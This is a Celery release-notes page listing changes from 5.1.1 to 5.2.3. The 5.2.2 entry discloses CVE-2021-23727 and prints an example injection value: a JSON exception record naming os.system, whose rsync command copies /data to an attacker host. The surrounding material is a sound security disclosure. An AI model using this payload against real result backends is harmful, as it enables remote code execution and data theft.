Releases: celery/celery
v5.2.3
Release date: 2021-12-29 12:00 P.M UTC+6:00
Release by: Asif Saif Uddin
- Allow redis >= 4.0.2.
- Upgrade minimum required pymongo version to 3.11.1.
- tested pypy3.8 beta (#6998).
- Split Signature.__or__ into subclasses' __or__ (#7135).
- Prevent duplication in event loop on Consumer restart.
- Restrict setuptools>=59.1.1,<59.7.0.
- Kombu bumped to v5.2.3
- py-amqp bumped to v5.0.9
- Some docs & CI improvements.
5.2.2
Release date: 2021-12-26 16:30 P.M UTC+2:00
Release by: Omer Katz
-
Various documentation fixes.
-
Fix CVE-2021-23727 (Stored Command Injection security
vulnerability).When a task fails, the failure information is serialized in the
backend. In some cases, the exception class is only importable
from the consumer's code base. In this case, we reconstruct the
exception class so that we can re-raise the error on the process
which queried the task's result. This was introduced in #4836. If
the recreated exception type isn't an exception, this is a
security issue. Without the condition included in this patch, an
attacker could inject a remote code execution instruction such as:
os.system("rsync /data attacker@192.168.56.100:~/data")by
setting the task's result to a failure in the result backend with
the os, the system function as the exception type and the payload
rsync /data attacker@192.168.56.100:~/dataas the exception
arguments like so:{ "exc_module": "os", 'exc_type': "system", "exc_message": "rsync /data attacker@192.168.56.100:~/data" }According to my analysis, this vulnerability can only be exploited
if the producer delayed a task which runs long enough for the
attacker to change the result mid-flight, and the producer has
polled for the task's result. The attacker would also have to
gain access to the result backend. The severity of this security
vulnerability is low, but we still recommend upgrading.
v5.2.1
Release date: 2021-11-16 8.55 P.M UTC+6:00
Release by: Asif Saif Uddin
- Fix rstrip usage on bytes instance in ProxyLogger.
- Pass logfile to ExecStop in celery.service example systemd file.
- fix: reduce latency of AsyncResult.get under gevent (#7052)
- Limit redis version: <4.0.0.
- Bump min kombu version to 5.2.2.
- Change pytz>dev to a PEP 440 compliant pytz>0.dev.0.
- Remove dependency to case (#7077).
- fix: task expiration is timezone aware if needed (#7065).
- Initial testing of pypy-3.8 beta to CI.
- Docs, CI & tests cleanups.
v5.2.0
v5.2.0rc2
Release date: 2021-11-02 1.54 P.M UTC+3:00
Release by: Naomi Elstein
- Bump Python 3.10.0 to rc2.
- [pre-commit.ci] pre-commit autoupdate (#6972).
- autopep8.
- Prevent worker to send expired revoked items upon hello command
(#6975). - docs: clarify the 'keeping results' section (#6979).
- Update deprecated task module removal in 5.0 documentation (#6981).
- [pre-commit.ci] pre-commit autoupdate.
- try python 3.10 GA.
- mention python 3.10 on readme.
- Documenting the default consumer_timeout value for rabbitmq >=
3.8.15. - Azure blockblob backend parametrized connection/read timeouts
(#6978). - Add as_uri method to azure block blob backend.
- Add possibility to override backend implementation with celeryconfig
(#6879). - [pre-commit.ci] pre-commit autoupdate.
- try to fix deprecation warning.
- [pre-commit.ci] pre-commit autoupdate.
- not needed anyore.
- not needed anyore.
- not used anymore.
- add github discussions forum
v5.2.0b3
Release date: 2021-09-02 8.38 P.M UTC+3:00
Release by: Omer Katz
- Add args to LOG_RECEIVED (fixes #6885) (#6898).
- Terminate job implementation for eventlet concurrency backend
(#6917). - Add cleanup implementation to filesystem backend (#6919).
- [pre-commit.ci] pre-commit autoupdate (#69).
- Add before_start hook (fixes #4110) (#6923).
- Restart consumer if connection drops (#6930).
- Remove outdated optimization documentation (#6933).
- added https verification check functionality in arangodb backend
(#6800). - Drop Python 3.6 support.
- update supported python versions on readme.
- [pre-commit.ci] pre-commit autoupdate (#6935).
- Remove appveyor configuration since we migrated to GA.
- pyugrade is now set to upgrade code to 3.7.
- Drop exclude statement since we no longer test with pypy-3.6.
- 3.10 is not GA so it's not supported yet.
- Celery 5.1 or earlier support Python 3.6.
- Fix linting error.
- fix: Pass a Context when chaining fail results (#6899).
- Bump version: 5.2.0b2 → 5.2.0b3.
v5.2.0b1
Release date: 2021-08-11 5.42 P.M UTC+3:00
Release by: Omer Katz
- Add Python 3.10 support (#6807).
- Fix docstring for Signal.send to match code (#6835).
- No blank line in log output (#6838).
- Chords get body_type independently to handle cases where body.type
does not exist (#6847). - Fix #6844 by allowing safe queries via app.inspect().active()
(#6849). - Fix multithreaded backend usage (#6851).
- Fix Open Collective donate button (#6848).
- Fix setting worker concurrency option after signal (#6853).
- Make ResultSet.on_ready promise hold a weakref to self (#6784).
- Update configuration.rst.
- Discard jobs on flush if synack isn't enabled (#6863).
- Bump click version to 8.0 (#6861).
- Amend IRC network link to Libera (#6837).
- Import celery lazily in pytest plugin and unignore flake8 F821,
"undefined name '...'" (#6872). - Fix inspect --json output to return valid json without --quiet.
- Remove celery.task references in modules, docs (#6869).
- The Consul backend must correctly associate requests and responses
(#6823).
v5.1.2
Release date: 2021-06-28 16.15 P.M UTC+3:00
Release by: Omer Katz
-
When chords fail, correctly call errbacks. (#6814)
We had a special case for calling errbacks when a chord failed
which assumed they were old style. This change ensures that we
call the proper errback dispatch method which understands new and
old style errbacks, and adds test to confirm that things behave as
one might expect now. -
Avoid using the
Event.isSet()deprecated alias. (#6824) -
Reintroduce sys.argv default behaviour for
Celery.start(). (#6825)
v5.1.1
Release date: 2021-06-17 16.10 P.M UTC+3:00
Release by: Omer Katz
-
Fix
--pool=threadssupport in command line options parsing.
(#6787) -
Fix
LoggingProxy.write()return type. (#6791) -
Couchdb key is now always coerced into a string. (#6781)
grp is no longer imported unconditionally. (#6804)
: This fixes a regression in 5.1.0 when running Celery in non-unix
systems.